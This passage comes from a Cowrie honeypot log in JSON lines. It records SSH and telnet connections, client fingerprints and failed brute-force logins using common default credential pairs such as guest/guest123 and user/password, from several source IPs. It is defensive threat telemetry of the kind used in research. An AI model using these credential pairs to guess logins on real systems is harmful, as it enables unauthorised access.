","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:10.948879Z","src_ip":"160.187.174.22","session":"c92e76faf480","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:11.278107Z","src_ip":"91.92.40.153","session":"fed16b1d9e3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:11.713570Z","src_ip":"160.187.174.22","session":"c92e76faf480","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":56636,"dst_ip":"159.203.135.109","dst_port":23,"session":"a200d72a040d","protocol":"telnet","message":"New connection: 107.6.151.170:56636 (159.203.135.109:23) [session: a200d72a040d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:12.652717Z"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:12.704834Z","src_ip":"91.92.40.153","session":"fed16b1d9e3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:12.965529Z","src_ip":"160.187.174.22","session":"c92e76faf480","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:13.871917Z","src_ip":"139.99.74.35","session":"4d843b5a6b34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":40260,"dst_ip":"159.203.135.109","dst_port":22,"session":"63e95524cc15","protocol":"ssh","message":"New connection: 139.99.74.35:40260 (159.203.135.109:22) [session: 63e95524cc15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:14.095244Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":43442,"dst_ip":"10.17.0.5","dst_port":22,"session":"39987a5cfc9a","protocol":"ssh","message":"New connection: 91.92.40.153:43442 (10.17.0.5:22) [session: 39987a5cfc9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:15.348632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:15.665436Z","src_ip":"91.92.40.153","session":"39987a5cfc9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:15.674183Z","src_ip":"91.92.40.153","session":"39987a5cfc9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.91931343078613,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:17.126461Z","src_ip":"170.64.224.25","session":"038e851f6ed4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"bot","password":"111111","message":"login attempt [bot/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:18.128510Z","src_ip":"91.92.40.153","session":"39987a5cfc9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:18.885852Z","src_ip":"139.99.74.35","session":"63e95524cc15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":40290,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7181321e422","protocol":"ssh","message":"New connection: 139.99.74.35:40290 (159.203.135.109:22) [session: a7181321e422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:19.133989Z"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:19.771736Z","src_ip":"91.92.40.153","session":"39987a5cfc9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":21378,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dd98fe9a0d7","protocol":"ssh","message":"New connection: 194.59.206.2:21378 (10.17.0.5:22) [session: 4dd98fe9a0d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:20.949144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:20.953155Z","src_ip":"194.59.206.2","session":"4dd98fe9a0d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:21.043336Z","src_ip":"194.59.206.2","session":"4dd98fe9a0d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":43498,"dst_ip":"10.17.0.5","dst_port":22,"session":"96c413abf909","protocol":"ssh","message":"New connection: 91.92.40.153:43498 (10.17.0.5:22) [session: 96c413abf909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:21.049876Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:21.137149Z","src_ip":"194.59.206.2","session":"4dd98fe9a0d7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:21.484651Z","src_ip":"91.92.40.153","session":"96c413abf909","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:21.492467Z","src_ip":"91.92.40.153","session":"96c413abf909","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:24.412499Z","src_ip":"139.99.74.35","session":"a7181321e422","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:24.458336Z","src_ip":"91.92.40.153","session":"96c413abf909","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":37870,"dst_ip":"159.203.135.109","dst_port":22,"session":"222fa3bd75d7","protocol":"ssh","message":"New connection: 139.99.74.35:37870 (159.203.135.109:22) [session: 222fa3bd75d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:24.623941Z"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:26.100843Z","src_ip":"91.92.40.153","session":"96c413abf909","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":33560,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d39950b3ab1","protocol":"ssh","message":"New connection: 91.92.40.153:33560 (10.17.0.5:22) [session: 6d39950b3ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:26.790445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:27.716435Z","src_ip":"91.92.40.153","session":"6d39950b3ab1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:27.719455Z","src_ip":"91.92.40.153","session":"6d39950b3ab1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:29.401722Z","src_ip":"139.99.74.35","session":"222fa3bd75d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":37876,"dst_ip":"159.203.135.109","dst_port":22,"session":"60303f73d292","protocol":"ssh","message":"New connection: 139.99.74.35:37876 (159.203.135.109:22) [session: 60303f73d292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:29.644833Z"}
{"eventid":"cowrie.login.failed","username":"xiao","password":"xiao","message":"login attempt [xiao/xiao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:29.985960Z","src_ip":"91.92.40.153","session":"6d39950b3ab1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:31.309495Z","src_ip":"91.92.40.153","session":"6d39950b3ab1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:34.424506Z","src_ip":"139.99.74.35","session":"60303f73d292","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":33062,"dst_ip":"10.17.0.5","dst_port":22,"session":"324a582cee96","protocol":"ssh","message":"New connection: 91.92.40.153:33062 (10.17.0.5:22) [session: 324a582cee96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:34.440212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:34.447829Z","src_ip":"91.92.40.153","session":"324a582cee96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:34.525105Z","src_ip":"91.92.40.153","session":"324a582cee96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":36464,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e28a11552c6","protocol":"ssh","message":"New connection: 139.99.74.35:36464 (159.203.135.109:22) [session: 5e28a11552c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:34.645129Z"}
{"eventid":"cowrie.login.failed","username":"user3","password":"12345678","message":"login attempt [user3/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:34.903696Z","src_ip":"91.92.40.153","session":"324a582cee96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":50806,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d64275aa95f","protocol":"ssh","message":"New connection: 160.187.174.22:50806 (159.203.135.109:22) [session: 5d64275aa95f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:35.712584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:35.716419Z","src_ip":"160.187.174.22","session":"5d64275aa95f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:35.958101Z","src_ip":"160.187.174.22","session":"5d64275aa95f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:36.137974Z","src_ip":"91.92.40.153","session":"324a582cee96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oceanbase","password":"oceanbase","message":"login attempt [oceanbase/oceanbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:36.699765Z","src_ip":"160.187.174.22","session":"5d64275aa95f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:37.950408Z","src_ip":"160.187.174.22","session":"5d64275aa95f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.10628008842468,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:38.080349Z","src_ip":"170.64.224.25","session":"5cf77e340c55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:39.420854Z","src_ip":"139.99.74.35","session":"5e28a11552c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":36490,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5a4c8ded12f","protocol":"ssh","message":"New connection: 139.99.74.35:36490 (159.203.135.109:22) [session: a5a4c8ded12f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:39.661532Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":33168,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b92e6ac9068","protocol":"ssh","message":"New connection: 91.92.40.153:33168 (10.17.0.5:22) [session: 3b92e6ac9068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:39.819412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:13:40.108624Z","src_ip":"91.92.40.153","session":"3b92e6ac9068","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-